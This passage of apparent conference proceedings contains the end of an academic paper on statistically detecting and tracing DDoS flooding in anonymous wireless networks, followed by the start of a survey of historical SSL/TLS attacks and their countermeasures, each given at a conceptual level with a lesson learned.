the Coremelt Attack [11]. Hence this leads to a DDoS attack framework.

We consider three attack traffic models: bursty, periodic and random. The
bursty attack floods the victim (target) router occasionally such that there is a
sudden surge in data traffic at the router. For bursty traffic, we allow the attacker
to periodically flood the network with high volume traffic but with very short
duration and then send no traffic during other times. We set the duration of
the pulse to 5 s. The periodic attack exhibits the same attack pattern as bursty
attack, but does it periodically. Finally, the random attack injects attack traffic
at random instances of time. The volume of attack traffic and the length of
attack can be varied.

3 DDoS Detection in Anonymous Wireless Networks

We take a top-down approach to describe our attack detection framework for
anonymous networks. Our framework has two primary components: local analy-
sis of network performance statistics at each router and aggregation of alerts
or decisions using hierarchy. In what follows, we describe these two components
and the associated challenges.

3.1 Local Analysis of Router Statistics

In anonymous networks, the packets reveal nothing about the services generating
these packets nor the source and destination hosts in trusted groups. This makes
it difficult to distinguish the attack traffic packets from legitimate network traffic
packets in real-time which otherwise would have helped in detecting an attack
at such routers. In order to determine the presence of attacks which affect the
channel bandwidth, we observe the aggregate packet statistics such as received
packet counts, transmitted packet counts at each router over periodic time inter-
vals that help illustrate the trend of the forwarding rate at the respective router.
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Fig. 2. We illustrate an example of scalable hierarchical attack detection system. Inter-
mediate attack detection sensors collect alarm messages from a group of routers and
report the alarms to a central attack monitoring center.

If a router experiences drops in its forwarding rate while its incoming rate is still
the same, then it raises an alarm. At this instance the router raises an attack
alarm which conveys the interface it is experiencing the attack. We allow each
router to raise an alarm when it experiences such a phenomenon and thereby
multiple alarm messages could be used to understand the attack’s effect in the
core network.

3.2 Hierarchical Decision Aggregation

Practical deployments of anonymous networks comprise a large number of routers
[12]. This makes all routers directly reporting to one centralized attack detec-
tion monitoring center not feasible. A hierarchical attack detection model is thus
desired to allow for scalability and improving accuracy. It is possible when local
monitoring reports be outliers which are errors in detecting the attack. However,
when reports from several routers are aggregated, the error in falsely detecting
attacks can be reduced by observing the reports from other adjacent routers.
In a hierarchical attack detection model, a set of routers report the alarms to a
gateway router of a subnet of routers. These routers could make local decisions
at a subnet level or forward all the alarms to its supervising attack detection
node which could be monitoring several other subnets. With this, a hierarchy of
attack monitoring routers could create a logical overlay in a larger network to
eventually report to a central attack detection center as shown in Fig. 2.

3.3 Challenges with Aggregate Statistics

The attack detection metrics based on observable and aggregated statistics
while being non-invasive also pose challenges in attack detection in anonymous
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networks. Aggregated statistics are easy to collect at routers and statistical oper-
ations such as deviations or variances do indicate the changes in metric with
time. Particularly for wireless networks, operations on aggregated statistics do
not always provide straight forward intuitions of attack’s existence. Bandwidth
consumption is not constant in wireless networks even when there are no attacks.
The stochastic nature of the wireless channel imposes large variations in the met-
ric. The stochastic nature of wireless channels could result from factors such as
changes in propagation environment, mobility and different propagation models.
Hence, the variance of metrics about its mean will not be small as could be seen
in wired networks which can capture certain instances of flooding attacks with
relatively good accuracy [11,13]. Metric variation could also result due to higher
layer performance optimization such as TCP. Traffic could surge until TCP starts
to back off and during this brief period of time, it is possible that the metric
shoots beyond the ideal value leading to an alarm being raised. This leads to the
fact that false alarms could be raised by attack detectors in anonymous networks
which rely on raw aggregated statistics for attack detection.

4 Local Attack Monitoring Using Packet Resistance

To demonstrate the use of our statistical DDoS detection framework, we propose
a specific router statistic that can easily observed in anonymous networks, yet
promising detection capabilities. In what follows, we propose the packet resis-
tance metric, discuss its practical aspects and provide an experimental study.

4.1 Packet Resistance

To determine the increase in opposition to outgoing traffic at a router, there
are two ways to observe this phenomenon at routers. One is to observe the
rate at which incoming packets arrive and monitor the packet queue at routers.
This however is tied to the fact that different routers could have different upper
bounds on the queue lengths and thereby setting global thresholds to detect
the presence of an attacker is not possible. However, we can monitor both the
incoming and outgoing packet rates at a router. Thus we can detect an attack
if a router sends out packets at a rate lower than it receives.

In device physics, resistance of a conductor is defined as the opposition to
the passage of electric current through it. In our work we define packet resistance
of a router as the opposition to its packet transmission. In a sampling interval
of ts seconds at router i, reception of rxi packets and subsequent forwarding of
fi packets can be interpreted as a packet resistance (PR) of Ri = rxi/fi, which
is a unitless measure.

The PR metric measures the resistance faced by a router when the outgoing
link is being attacked. For example, if the router is able to transmit packets
nearly at the rate it receives them, then the average value of the metric should
be 1.0 with very little variance. When the incoming packet rate exceeds the
outgoing packet rate during the sampling interval, then the metric overshoots
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1.0. While higher layer services such as TCP changes the rate at which packets
are delivered to the network layer, the attackers may not follow such traffic
control techniques and sustain their traffic which our metric can capture.

Other advantages of packet resistance metric are multiple fold. First, the met-
ric is based on commonly available and easily observable statistics at routers. It
needs no inspection of packets and makes no distinction between various flows
of the data traffic, even including the attack traffic. The alarm is thus based
on aggregate statistics observed at a router. Second, the metric needing no
packet inspection means that the metric can be computed in near real-time
and presents very minimal computation overhead at the router. Finally, since
a wireless medium is shared by network routers, affecting one link could affect
multiple other links in the network, thus there will be variations in the metric’s
performance on other network routers.

Metric Smoothing. To mitigate false alarms resulting from bursty and sto-
chastic behavior of network traffic or traffic control mechanisms of higher layer
services such as TCP, we propose a smoothing technique for the packet resistance
metric. The smoothing technique is implemented in each router and takes only
the PR metric’s history as its input. The output will be used to help decide if
the observed fluctuations in the metric is an indication of an attack or a genuine
burst in the traffic.

The traffic at an interface of a router is sampled in intervals of ts seconds
and computes the metric for this time period. The router then maintains a
historic average of the metric that gets reset at time intervals very large compared
to ts. This refresh interval for the historic average can be decided by network
administrators based on traffic behavior over time. This historic average of the
metric is our notion of measurement history on the interface of a router, assuming
that it is serving the same network and connected to the same set of adjacent
routers. This historic average of the metric at a router i is defined as Ri.

If the router sounds an alarm every time the metric during the ts interval
overshoots a threshold Tr, the metric flags the measurement instance as an
instance of flooding attack. If this is due to a genuine burst in traffic from an
end-host, then we are capturing these bursts as false positive alarms. In order
to mitigate the occurrences of false positives, we introduce a smoothing function
for the proposed metric. While the interface samples the traffic at ts seconds, we
allow the router to observe the traffic for a time period of to seconds which we
call as the observation interval. For simplicity purposes, we allow the to to be
integer multiples of ts. The to is a moving window which progresses after every
ts interval by 1 s. We define a function which has two input parameters, first,
the deviation of the samples computed with respect to the historic average and
second, the to. Let to = k · ts and the value of the metric in kth interval can be
R

(k)
i . The deviation is computed as

D =

√∑k
i=1 (R(k)

i − R̄i)2

k
. (1)
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During to, if the metric average R
(k)
i during to exceeds a threshold Tr and its

deviation D exceeds a threshold To, then we treat this as a possibility of an
attack at the router.

However, the smoothing interval and the thresholds can be learned by the
attacker over time. Hence, the attacker could get away by not flooding the link
for the duration which will not be seen as a genuine burst in traffic. Such an
instance is an example of a false negative alarm. In order to mitigate the instances
of false negatives in our detection, we define td in seconds as the attack detec-
tion interval. We let td be a time window being integer multiples of to which
progresses after every ts seconds. During this larger time interval, we can count

the number of instances (Count) where R
(k)
i and D overshot the thresholds Tr

and To respectively during the to intervals within td. If PR and D overshot their
respective thresholds during majority of the observation intervals within a td,
then the router will raise an alarm to indicate that an attack is detected as shown
in Fig. 3. We set Td as two-thirds the number of to in td to indicate a majority.

Statistical Attack Detection
1 R̄i ← 0
2 while Ri

3 for each td
4 for each to
5 Count ← 0
6 for each k ∈ ts

7 R
(k)
i ← rxi

fi

8 Update Ri

9 Compute D

10 if R(k)i ≥ Tr AND D ≥ To

11 then Count ← Count + 1
12 if Count ≥ Td

13 then Raise Alarm

Fig. 3. We illustrate our statistical attack detection mechanism for detection DDoS in
anonymous networks.

4.2 Experiment Setup

We implemented the attack methods and proposed detection techniques using
the Common Open Research Emulator (CORE) [14]. Our network comprises 50
routers and use the OSPFv2 routing protocol to establish routes. The bandwidth
for each link is 54 Mbps per the IEEE 802.11 standard. Since each router may
have multiple radios, the total incoming traffic for a router can go above 54 Mbps



182 A.P. Athreya et al.

with an upper bound of number of ingress interface times 54 Mbps. The routers
were configured to report the attack alarms to a server managed by the trusted
groups. For this setting we allowed for one server, while multiple such reporting
servers could be setup for demonstrating a hierarchical detection framework.
The attacker targets a router and introduces traffic flows at higher data rates
to ensure the flooding is effective. We launched the attack traffic using iperf
and set the attack traffic to be UDP and of constant rate during each sampling
interval [15]. Our sampling interval was set to 3 s, which was the lowest possible
due to the constraints set by the simulator.

We chose various smoothing parameters to analyze the detection perfor-
mance. We chose these parameters to vary the ratio between the evaluation
interval and the detection interval. We selected 6 pairs of (to, td) parameter
tuples for evaluation purpose: (1, 3), (3, 3), (3, 6), (6, 6), (10, 6) and (10, 10).
Since we are constrained by space, we show the results observed at one router
for the parameter tuples (1, 3), (6, 6) and (10, 10) as similar results were seen
at other affected routers in the core network. The Tr was set to 1.0 and To was
set to 0.1.

4.3 Results and Analysis

We evaluate the effectiveness of the proposed packet resistance metric to detect
the presence of attackers who launch bandwidth consumption attacks.

In Figs. 4, 5 and 6 we illustrate the proposed metric for the three attack traffic
models for the parameter tuple (1, 3). In each of the Figs. 4, 5 and 6, sub-figure
(a) illustrates the variation of the packet resistance metric and sub-figure (b)
shows corresponding change in attacker traffic.

In Figs. 4(a), 5(a) and 6(a), as the attack traffic floods a link of a target
router, our initial observation was that the metric overshoots the threshold value
of 1.0 as the outgoing traffic rate at the affected router is reduced. We further
observe that there is a delay in decision making of about 1–2 s due to processing
of the observed data to make a decision at the end of decision interval. Our
metric also captured the surge of outgoing traffic when the attacker traffic stops.
This phenomenon is due to the fact that the router clears queued traffic at the
router when its outgoing link is affected, which means the residue traffic has
to be queued. Thus once the bandwidth frees up, the router makes an attempt
to transmit the data at a rate higher than the incoming data rate, which leads to
the metric value dropping below 1.0.

To analyze the detection performance, we use the false alarm rate, miss rate
and accuracy. We first calculate the true positive (TP), true negative (TN), false
positive (FP) and false negative (FN) occurrences in our detection results for
all parameter tuples and attack traffic models. True positive detection instances
are those where the detector raised an alarm when there was actually an attack.
True negative detection instances are those when the detection raised no alarm
when there was no attack. False positive detection instances are those where
the detector raised an alarm when there was no attack. Finally, false negative
detection instances are those when the detector raised no alarm when there
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(b) Attacker traffic model: Random

Fig. 4. We demonstrate (a) the resulting packet resistance due to (b) random attack
traffic with detection parameter (1, 3). Our results suggest that the packet resistance
metric can reflect the dynamics in attack traffic.

was attack. False alarm rate refers to the ratio of false positive instances over
instances when there are no attacks (false alarm rate = FP / (FP + TN)). Miss
rate refers to the ratio of false negative instances over instances when there are
actually attacks (miss rate = FN / (FN + TP)). Accuracy is given by the ratio
of true detection instances over all instances (accuracy = (TP + TN)/(TP +
TN + FP + FN)).

For all the three attack traffic models and the parameter tuples in Table 1,
we observed that the attack detection accuracies by using a readily observable
technique needed observation intervals longer than just one sampling interval.
We see that the average prediction accuracy for all three attacker traffic models
when observation interval to set to the sampling interval tp is 75%. The false
alarm rate is from 4% to 24%, depending on the attack traffic type. The miss
rate hits 0 for tuple (6, 6) and (10, 10), but goes up to 96% for the tuple (1, 3).

For other observation intervals greater than the sampling interval, the aver-
age detection accuracy is 98%. This shows that observing the traffic for duration
longer than sampling interval allows us to capture the instant bursts in traffic
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(b)Attackertrafficmodel:Periodic

Fig. 5. We demonstrate (a) the resulting packet resistance due to (b) periodic attack
traffic with detection parameter (1, 3). We observe that with short observation interval,
the metric was able to detect the attack on 90% of the times when the periodic attacker
traffic was in the network.

either due to medium stochastic nature or due to the traffic bursty nature while
higher layer protocols such as TCP converge. Additionally, for the detection
interval which is several sampling intervals facilitates the monitoring of traffic
for longer intervals of time. This allows for the natural bursts in traffic to nor-
malize, while still being able to capture the presence of persistent attack traffic.
We clearly observe that needing an observation interval greater than sampling
interval improved detection accuracy for the periodic and bursty attack traf-
fic. However for the random attack traffic, the tuple (1, 3) is sensitive to traffic
changes which results in high miss rate which should have yielded higher false
positives instead of false negatives. But this is a trend which needs further inves-
tigation as this bias could be due to measurement error or lack of enough metric
samples. While we observe these trends, it still remains to be an interesting
question as to what is the optimal detection interval for a chosen observation
interval to maximize the detection accuracy.
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(b) Attacker traffic model: Bursty

Fig. 6. We demonstrate (a) the resulting packet resistance due to (b) bursty attack
traffic with detection parameter (1, 3). Though the attacker introduced short interval
traffic bursts into the network and remained offline for remainder of the time, even
with the observation interval equal to one sampling period, the metric captured the
presence of attack with close to 90 % accuracy.

From the detection results in Table 1 and the visual illustration of the metric
behavior for various attack traffic models, we show that statistical attack detec-
tion using purely observable metrics yields good attack detection accuracy for
anonymous networks. Additionally, these detections were made in near real-time
needing a few seconds of delay for processing and decision making. Thus we need
not break the cryptography to learn about the presence of intruders who are able
to attack the core network bandwidth. We are not claiming this metric to always
detect local attacks with such high detection accuracy since our simulation setup
and data sample set is small. However, when local monitoring alarms are used
by a hierarchical attack detection system with lower accuracy, then the attack
detection accuracy of the for the whole system will be high due to aggregation
of larger number of attack reports.
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Table 1. We illustrate the detection accuracy for our proposed statistical attack detec-
tion framework using packet resistance metric. The detection accuracy are shown for
3 types of attack traffic models and various detection parameter tuples. The parame-
ter tuple comprises the observation interval which is integer multiples of the sampling
interval and the detection interval which is integer multiples of the observation interval.

Attacker traffic Parameter TP TN FP FN False alarm rate Miss rate Accuracy

Random (1, 3) 1 41 2 25 0.0465 0.9615 0.6087
(6, 6) 2 81 0 0 0.0000 0.0000 1.0000
(10, 10) 2 83 3 0 0.0349 0.0000 0.9656

Periodic (1, 3) 3 77 9 3 0.1047 0.5000 0.8696
(6, 6) 9 69 0 0 0.0000 0.0000 1.0000
(10, 10) 2 51 2 0 0.0377 0.0000 0.9636

Bursty (1, 3) 61 364 115 0 0.2401 0.0000 0.7870
(6, 6) 6 69 2 0 0.0282 0.0000 0.9740
(10, 10) 71 226 0 0 0.0000 0.0000 1.0000

5 Tracing the Attack’s Origin

In Fig. 7, we illustrate the procedure to infer the source of flooding attacks
in an anonymous network. When an attack is locally detected at each router,
each router sends an alarm with the wireless network interface where the attack
happens. In the wireless network we model, each router detects an attack when
the amount of outgoing traffic exceeds the assigned bandwidth at each wireless
interface. The receiving network interface, on the other hand, always receives
the amount of traffic less than or equal to the assigned bandwidth. In Fig. 7, R3,
R4, R7, and R8 report the flooding alarm with their respective detected network
interface to the centralized attack detection center. In this example, the attack is
detected at all egress interfaces of routers. The centralized attack detection center
can make a decision on the source of flooding attack by reconstructing the attack
path. Since the number of paths (between routers) via each wireless network
interface is different, the centralized attack detection center can first include all
the paths used by the reported network interface in the set of candidate attack
paths. In this example, the set will have the path element R3-R5, R3-R4, R4-R7,
R7-R6, R7-R8, and R8-V ictim. Then, the centralized attack detection center gets
rid of the paths to the router that no alarm is reported (e.g., R3-R5 and R7-R6).
Consequently, the attack path will be conjectured as R3-R4-R7-R8-V ictim.

We note that one attack flow might not generate alarms on all other routers
on a given path. But with each router locally monitoring the attack raises an
alarm based on independently occurring attacks. As the routers have no global
network knowledge, the extent of attack propagation will not be known to the
individual routers. Hence, using the alarms and aggregating them at the cen-
tralized attack monitoring center allows for the use of locally generated alarms
from possibly different phenomenons to construct a global view of the various
routes under attack as shown in Fig. 7.
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Fig. 7. We illustrate the mechanism to trace the source of the flooding attack in an
anonymous network. Each router locally raises an alarm and informs the centralized
attack monitoring center about the interface it is experiencing the attack. The attack
path is constructed starting at the last node to report the attack and then the source
is traced as R3-R4-R7-R8-V ictim for this example.

6 Conclusion and Future Work

With ubiquitous network access, users in trusted groups seek network anonymity
for a variety of applications. Anonymous networks are still prone to network
attackers who can disrupt communications. When attackers flood the network
with packets, the routers of anonymous networks cannot distinguish flows of
an attacker from the legitimate users. This makes traditional attack detection
systems unusable for anonymous networks. In this work we designed a statistical
distributed and hierarchical attack detection system for the anonymous networks
using a readily observable metric. We proposed packet resistance as the metric
which detected the presence of bandwidth attackers by observing the resistance
to outgoing traffic at a router. The routers locally monitored for attack and
raised alarms by indicating the interface they are experiencing a flooding attack’s
instance. These were collected by a centralized monitoring system to reconstruct
the attack path and infer the attack’s origin.

In our future work, we will design a larger experimental setup to demon-
strate the effectiveness of the hierarchical decision aggregation using local sta-
tistical analysis at routers. We will then formalize our attack path reconstruction
mechanism at the centralized attack monitoring center using alarms collected by
aggregating the hierarchical decisions.
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Abstract. Since its introduction in 1994 the Secure Socket Layer (SSL)
protocol (later renamed to Transport Layer Security (TLS)) evolved to
the de facto standard for securing the transport layer. SSL/TLS can be
used for ensuring data confidentiality, integrity and authenticity during
transport. A main feature of the protocol is flexibility: Modes of operation
and security aims can easily be configured through different cipher suites.
However, during the evolutionary development several flaws were found.
This paper presents an overview on theoretical and practical attacks of
the last 17 years, in chronological order and four categories: Attacks on
the Handshake protocol, on the Record and Application Data Protocols,
on the PKI infrastructure and various other attacks.

We try to give a short “Lesson(s) Learned” at the end of each
paragraph.

1 Introduction

In 1994, Netscape1 addressed the problem of securing HTTP traffic by introduc-
ing the Secure Sockets Layer protocol version 2. Over the decades SSL gained
improvements, security fixes and from version 3.1 on a new name - Transport
Layer Security2. A key feature of SSL/TLS is the layered design with mainly
two blocks:

Handshake Protocol. This is an Authenticated Key Exchange (AKE) protocol
for negotiating cryptographic secrets and algorithms.

Record Protocol. This is an intermediate MAC-then-PAD-then-Encrypt layer
positioned between the application and the TCP layer.

In addition, error messages are bundled in the Alert Protocol, and the
one-message ChangeCipherSpec Protocol which signalizes activation of the
pending state (e.g. switch from unencrypted to encrypted mode).

Due to space limitations a comprehensive introduction to SSL/TLS is skipped,
but the specifications of SSL 2.0 [1], SSL 3.0 [2], TLS 1.0 [3], TLS 1.1 [4] and
TLS 1.2 [5] are available online3. Additionally, a detailed overview on SSL/TLS
is e.g. provided by Eric Rescorla in [6]. For convenience, complete communica-
tion example illustrating the handshake phase finally leading to the application
data phase is given in Fig. 1.
1 http://www.netscape.com
2 http://datatracker.ietf.org/wg/tls/
3 SSL version 1.0 was never published.

Y. Kim et al. (Eds.): WISA 2013, LNCS 8267, pp. 189–209, 2014.
DOI: 10.1007/978-3-319-05149-9 12, c© Springer International Publishing Switzerland 2014
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Fig. 1. SSL/TLS communication example

Fig. 2. Cipher-suite rollback attack - based on: [7]

2 Attacks on the Handshake Protocol

2.1 Cipher Suite Rollback

The cipher-suite rollback attack, discussed by Wagner and Schneier in [7] aims
at limiting the offered cipher-suite list provided by the client to weaker ones or
NULL-ciphers. A Man-in-the-middle (Mitm) attacker may alter the ClientHello
message and strips of unwanted cipher-suites or replaces the whole cipher-suite
list. The server has no real choice - it can either reject the connection or accept
the weaker cipher-suite. An example is given in Fig. 2.

The problem was fixed with the release of SSL 3.0 by authenticating all
messages of the Handshake Protocol. A hash value of all handshake messages sent
and received by the client (the server, resp.) was included into the computations
of the Client Finished (Server Finished, resp.) message4.
4 However, this hash value explicitly excludes messages of the Alert and
ChangeCipherSpec protocols, leaving room for future attacks.
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Lesson learned. Authenticate what was sent and received. Theoretically, this
idea was put forward in [8] with the concept of matching conversations.

2.2 ChangeCipherSpec Message Drop

This simple, but effective attack by Wagner and Schneier in [7] was feasible in
SSL 2.0 only. During the handshake phase the cryptographic primitives are deter-
mined. For their activation it is necessary for both parties to send a
ChangeCipherSpec message. This messages informs that the following commu-
nication will be secured by the previously agreed parameters. An attacker acting
as Mitm could drop the ChangeCipherSpec messages and causes both parties to
never activate the pending state.

According to Wagner and Schneier the flaw was independently discovered
by Dan Simon and addressed by Paul Kocher. The author’s recommendation
is to ensure that a ChangeCipherSpec message is received before accepting the
Finished message. RFC 2246 [3] (TLS 1.0) enforces exactly this behaviour.

Lesson learned. See Sect. 2.1.

2.3 Key Exchange Algorithm Confusion

Another flaw pointed out by Wagner and Schneier in [7] is related to temporary
key material. SSL 3.0 supports the use of temporary key material during the
handshake phase (RSA public keys or DH public parameters) signed with a
long term key. A problem arises from a missing type definition of the transferred
material. Each party implicitly decides, based on the context, which key material
is expected and decodes accordingly. This creates the surface for a type confusion
attack. This attack is strictly theoretical at time of writing.

Figure 3 sketches an attack where a client is fooled in establishing an RSA
based key agreement while at the same time performing DHE5 with the server.

Lesson learned. This attack highlights the need for context-free message struc-
tures: Misinterpretation of a received message should be avoided by providing
explicit information on the content.

2.4 Version Rollback

Wagner and Schneier described in [7] an attack where a ClientHello message of
SSL 3.0 is modified to look like a ClientHello message of SSL 2.0. This would
force a server to rollback to the more vulnerable SSL 2.0.

As a countermeasure (proposed by Paul Kocher), the SSL/TLS version is also
contained in the PKCS encoded PreMasterSecret of the ClientKeyExchange
message (when RSA-based cipher suites are used). The countermeasure is suffi-
cient, since SSL 2.0 only supports RSA-based key exchange.
5 Ephemeral Diffie-Hellman Key Exchange.
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Fig. 3. Key exchange algorithm confusion attack - based on: [7]

Lesson learned. Backward compatibility is a serious security threat: The coun-
termeasure described in Sect. 2.1 against modification of single messages is of no
help, since it was not present in Version 2.0!

2.5 Bleichenbacher’s Attack on PKCS#1

In 1998, Daniel Bleichenbacher presented in [9] an attack on RSA based cipher
suites. Bleichenbacher utilized the strict structure of the PKCS#1 v1.5 format
and showed that it is possible to decrypt the PreMasterSecret in a reason-
able amount of time. The PreMasterSecret in an RSA based cipher suite is a
random value generated by the client and sent (encrypted and PKCS #1 format-
ted) within the ClientKeyExchange. An attacker eavesdropping this (encrypted)
message can decrypt it later on by abusing the server as a decryption oracle.

Bleichenbacher’s attack is based on (a) the fixed structure of PKCS#1 and
(b) a known weakness of RSA to Chosen Ciphertext Attacks (cf. [10]). The idea
is to blind the original ciphertext, pass it to the decrypter and finally separate
the blinding value. Depending on the validness of a received PKCS structure
the processing at server side differs. In particular, SSL specified different error
messages for e.g invalid padding and invalid MAC. With this information one
can build an oracle as given in Fig. 4.
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OPKCS(x) =
true, if x is PKCS conforming
false, otherwise

{

Fig. 4. PKCS oracle

By the use of this oracle it is possible to decrypt the PreMasterSecret
by continuously blinding the eavesdropped, encrypted message. Based on the
oracle’s responses the attacker adjusts the blinding value.

Lesson learned. Apparently negligible pieces of information such as distin-
guishable errors, can leverage an attacker to break security. It is necessary to
reveal as little information as possible on the internal processing6.

2.6 The Rise of Timing Based Attacks

Brumley and Boneh outlined in [11] a timing attack on RSA based SSL/TLS.
The attack extracts the private key from a target server by observing the timing
differences between sending a specially crafted ClientKeyExchange message and
receiving an Alert message inducing an invalid formatted PreMasterSecret.
Even a relatively small difference in time allows to draw conclusions on the used
RSA parameters. The attack is only applicable in case of RSA based cipher-
suites. Additionally, the attack requires the presence of a fine resolutive clock
on the attacker’s side. OpenSSL was successfully attacked - the problem was
caused by performance tweaks made by the OpenSSL library that could, under
special circumstances, leverage timing differences during processing. The attack
was significantly improved in 2005 by Aciicmez, Schindler and Koc in [12].

As a countermeasure the authors suggest the use of RSA blinding.

Lesson learned. Brumley and Boneh demonstrated that designers have to take
special care on building implementations with nearly equal response times for
each conditional branch of message processing.

2.7 Improvements on Bleichenbacher’s Attack

Kĺıma, Pokorny and Rosa not only improved Bleichenbacher’s attack (cf. Sect. 2.5)
in [13], but were able to break a countermeasure for Bleichenbacher’s attack.

Breaking the countermeasure. A countermeasure against Bleichenbacher’s
attack is to generate a random PreMasterSecret in any kind of failure and con-
tinue with the handshake until the verification and decryption of the Finished
message fails due to different key material (the PreMasterSecret differs at
client and server side). Additionally, the implementations are encouraged to
send no distinguishable error messages. These countermeasures are regarded
as best-practice. Moreover, because of a different countermeasure concerning
6 Especially error messages are a valuable source for information.
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OBadV ersion(x) =
true, if version number is valid
false, otherwise

{

Fig. 5. Bad version oracle

version rollback attacks (cf. Sect. 2.4) the encrypted data includes not only
the PreMasterSecret, but also the major and minor version number of the
negotiated SSL/TLS version. Implementations should check for equality of the
sent/received and negotiated protocol versions. In case of version mismatch
some implementations returned distinguishable error messages to the sender (e.g.
decode error in case of OpenSSL). An attacker could build a new (bad version)
oracle from this, as shown in Fig. 5.

By the use OBadV ersion Kĺıma, Pokorny and Rosa were able to mount Ble-
ichenbacher’s attack, in spite recommended countermeasures are present.

Lesson learned. Countermeasures against one vulnerability (cf. Sect. 2.4) may
lead to another.

2.8 ECC Based Timing Attacks

At ESORICS 2011 Brumley and Tuveri [14] presented an attack on ECDSA
based TLS connections. Only OpenSSL seemed to be vulnerable.

The problem arose from the strict implementation of an algorithm to speed
up scalar multiplications7. From a formal point of view, the algorithm is timing
resistant, but from an implementational point of view it contained a timing side-
channel. Brumley and Tuveri combined this side-channel with the lattice attack
of Howgrave-Graham and Smart [17] to recover secret keys.

ECDSA signatures are generated in TLS/SSL when ECDHE ECDSA cipher-
suites are used and rely on scalar multiplications. The authors measured the time
between the ClientHello message and the arrival of the ServerKeyExchange
message, which contains an ECDSA signature. As this signature can only be
created on-the-fly, and not in advance, an adversary is able to measure runtime of
the scalar multiplication function and draw conclusions on the input parameters.

Lesson learned. Side channels may come from unexpected sources.

2.9 Even More Improvements on Bleichenbacher’s Attack

In [18] Bardou, Focardi, Kawamoto, Simionato, Steel and Tsay significantly
improved Bleichenbacher’s attack (cf. Sect. 2.5) far beyond previous improve-
ments (cf. Sect. 2.7). The algorithm was fine-tuned to perform faster and with
lesser oracle queries. Additionally, the results were combined with previous
improvements.
7 Montgomery power ladder [15] (with improvements by López and Dahab [16]).
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OPadding(C) =

{
true, if C is correctly padded
false, otherwise

Fig. 6. Padding oracle

Lesson learned. Attacks improve and adjust as time goes by. It is necessary to
observe research on attacks - even if they are patched.

2.10 ECC-Based Key Exchange Algorithm Confusion Attack

In [19] Mavrogiannopoulos, Vercauteren, Velichkov and Preneel showed that the
key exchange algorithm confusion attack (cf. Sect. 2.3) can be applied to ECDH.
According to the authors, it is not feasible yet due to computational limitations.

Lesson learned. See Sect. 2.3.

3 Attacks on the Record and Application Data Protocols

3.1 MAC Does Not Cover Padding Length

Wagner and Schneier pointed out in [7] that SSL 2.0 contained a major weakness
concerning the Message Authentication Code (MAC) used for ensuring integrity.
The MAC covered only data and padding, but left the padding length field
unprotected. This may lead to message integrity compromise.

Lesson learned. Not only since the introduction of padding oracles by Vaude-
nay (cf. Sect. 3.2) each single bit of information should be considered useful for
an attacker. Thus, data should be integrity protected and authenticated to keep
the attack vector as small as possible.

3.2 Weaknesses through CBC Usage

Serge Vaudenay introduced a new attack class - padding attacks - and forced
the security community to rethink on padding usage in encryption schemes (cf.
[20]). These attacks rely on the fact that block encryption schemes operate on
blocks of fixed length, but in practice most plaintexts have to be padded to fit
the requested length (a multiple of the block length). After padding, the input
data is passed to the encryption function, where each plaintext block (of length
of the block size) is processed and chained8. This allows to directly influence the
decryption process by altering the successive blocks.
8 Mostly according to the Cipher Block Chaining Mode (CBC) scheme which chains

consecutive blocks so that a subsequent block is influenced by the output of its
predecessor.
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In the case of SSL/TLS the receiver may send a decryption failure alert,
if invalid padding is encountered. The padding oracle is defined in Fig. 6.

With such an oracle and clever changes to the ciphertext an attacker is able
to decrypt a ciphertext without knowledge of the key. The optional MAC of
SSL/TLS, ensuring message integrity, does not hinder this attack, since padding
is not covered by the MAC.

As a solution, SSL/TLS defines equal error messages for padding and decryp-
tion errors. But there still remains room for timing attacks (cf. Sect. 3.13).

Lesson learned. Although the attack is not directly applicable to standard
SSL/TLS (since Fatal errors immediately invalidate the session and accordingly
the key material), it is applicable to DTLS (cf. Sect. 3.11).

3.3 Information Leakage by the Use of Compression

In [21] Kelsey described a side-channel based on compression. SSL/TLS offers
message compression as an optional feature. If compression is used it is possible
to correlate output bytes of the compression to (guessed) input bytes. This uses
the fact that compression algorithms, when applied to plaintext, reduce the
size of the input data - if the guess for a plaintext is right the message size
should decrease. With this side-channel, it is possible to draw conclusions on the
plaintext. Rizzo and Duong used this observation to attack SSL/TLS (cf. 3.12).
Kelsey advices that compression may also cause timing side-channels.

Lesson learned. Performance optimizations can lead to side-channels.

3.4 Intercepting SSL/TLS Protected Traffic

In [22] Canvel, Hiltgen, Vaudenay and Vuagnoux extended Vaudenay’s attack
(cf. Sect. 3.2) to decrypt a password from an SSL/TLS secured IMAP session.
They suggested three additional attack types:

Timing Attacks. The authors concluded that a successful MAC verification
needs significantly more time compared to an abortion caused by invalid padding.

Multi-Session Attacks. This type requires a critical plaintext to be present
in each TLS session (e.g. a password). The attacker checks if a given ciphertext
ends with a specific byte sequence instead of trying to guess the whole plaintext.

Dictionary Attacks. Leveraged by the previous type this attack checks for
byte sequences included in a dictionary.

As a recommendation the MAC should also cover the padding, which implies
the order PAD-then-MAC-then-Encrypt.

Lesson learned. The order of processing makes a big difference.
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3.5 Chosen-Plain-Text Attacks on SSL

Gregory Bard observed in [23] that in a CBC Mode secured connection only the
Initialization Vector (IV) of the first plaintext is chosen randomly. All subsequent
IVs are simply the last block of the previous encrypted plaintext. This is contrary
to cryptography best-practice. An attacker can easily verify if a particular block
has a guessed value. Bard recommended as a fix the use of pseudo random IVs
or completely dropping CBC9. The practicability of the attack was proven by
Bard two years later (cf. Sect. 3.6).

Bodo Möller discovered this vulnerability at the same time10. Möller described
a fix which was later used by the OpenSSL project: Prepending a single record
with empty content, padding and MAC, to each message.

Lesson learned. Ignoring security best-practices for the sake of simplicity may
lead to vulnerabilities.

3.6 Chosen-Plain-Text Attacks on SSL Reloaded

Bard revisited the attack of Sect. 3.5 in 2006 [24]. He addressed the same topics
as before, but provided an attack sketch how to exploit this problem by the use
of a Java applet executed on the victim’s machine. As already discussed, the
vulnerability was fixed with TLS 1.1, since it dictates the use of explicit IVs.

Rizzo and Duong proved Bard’s attack scenario to be applicable, but in a
slightly different implementation (by using JavaScript instead of Java applets).
The described attack was adopted in their B.E.A.S.T. tool (cf. Sect. 3.8).

Lesson learned. Not only the protocol has to be considered when evaluating
security - the interplay between different layers and applications is relevant, too.

3.7 Traffic Analysis of TLS

George Danezis highlighted in an unpublished manuscript [25] ways how an
attacker may use the obvious fact that minimal information, despite the connec-
tion is TLS protected, remain unencrypted to analyze and track traffic.

The fields type, version and length of each TLS Record always remain
unencrypted - even in an encrypted record. In [7] the authors already criticized
the presence of such unauthenticated and unencrypted fields. RFC 2246 [3] is
also aware of this information leak and advices to take care of this. Danezis
identified the following information leaks:

– Requests to different URLs may differ in length which results in SSL/TLS
records of different size.

– Responses to requests may also differ in length, which again yields to SSL/-
TLS records of different size.

